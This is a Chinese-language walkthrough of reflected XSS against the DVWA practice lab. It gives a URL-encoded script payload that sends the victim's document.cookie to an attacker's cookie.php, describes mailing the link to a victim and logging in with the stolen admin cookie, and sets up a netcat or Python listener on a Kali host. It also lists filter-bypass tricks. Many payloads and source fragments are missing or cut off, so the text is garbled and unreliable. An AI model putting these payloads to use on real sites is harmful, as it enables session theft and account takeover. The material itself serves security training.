目录
反射型XSS攻击
Low等级
Medium等级
High等级
Impossible等级
补充
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。
输入测试漏洞,成功弹框
注:可以弹窗的函数有alert(),confirm(),prompt()
这里使用本地的服务器来获取用户的cookie
在自己服务器上的www目录下创建一个cookie.php文件,内容如下:
编写js代码将页面的cookie发送到cookie.php中
//document.location将页面的内容指定到指定位置。
构造URL
http://localhost/dvwa/vulnerabilities/xss_r/?name=
对参数js代码部分进行URL编码
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D'http%3A%2F%2F127.0.0.1%2Fcookie.php%3Fcookie%3D'%2Bdocument.cookie%3B%3C%2Fscript%3E%23%0A
发送URL给用户
当受害者的浏览器有该网站的cookie的情况下点击该链接时,会跳转到http://127.0.0.1/cookie.php,并将cookie写入到了同目录下的cookie.txt中,攻击者就可以在自己服务器上获取到该受害者的cookie
成功拿到受害者的cookie
利用cookie登陆DVWA的首页
F12键,修改当前浏览器的cookie,然后刷新访问DVWA的index.php页面,就能以管理员的身份进入,如下图
观察源代码,可以发现:
Hello ' . $_GET[ 'name' ] . '
';
}
?>
array_key_exists检查数组中是否有指定的键名
· X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)
· X-XSS-Protection: 0禁用XSS保护
可以看到,在low级别中没用进行任何的对XSS攻击的防御措施,用户输入什么都会被执行。
使用继续测试是否有XSS漏洞
发现,成功弹框
双写绕过:
输入
输入其他标签:
输入,成功弹窗
利用之前Low等级时构造的js的方法重新构造url发送给送给受害者,就可获取到受害者的cookie
观察源代码,可以发现:
', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "Hello ${name}
";
}
?>
$name变量使用了str_replace函数过滤了测试是否有XSS漏洞:
可以发现只显示>,前面所有字符被过滤
那尝试使用大小写混淆或者双写绕过,
或者
但依然发现所有字符被过滤:
既然script标签代码被过滤,那就尝试上面用到的,使用img、body等标签的事件或者iframe等标签的src注入恶意js代码。
在输入框中输入,成功弹窗:
这里构造下攻击链接,利用ip地址为192.168.238.50的kali来接收cookie
然后监听kali的8080端口,如果受害者访问了该链接,则可获取其cookie
监听方法:
1.利用netcat
在kali命令行运行
nc -vlp 8080
2.利用python
Python -m SimpleHTTPServer 8080
观察下high等级的源代码,可以发现:
Hello ${name}
";
}
?>
这次的$name变量使用的是preg_replace函数,这个函数用于正则表达式的搜索和替换了
编码过滤原理:
当浏览器接受到一份HTML代码后,会对标签之间(
xxx
等,解码后为,一样可以弹窗。但如果是
解码后为 就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。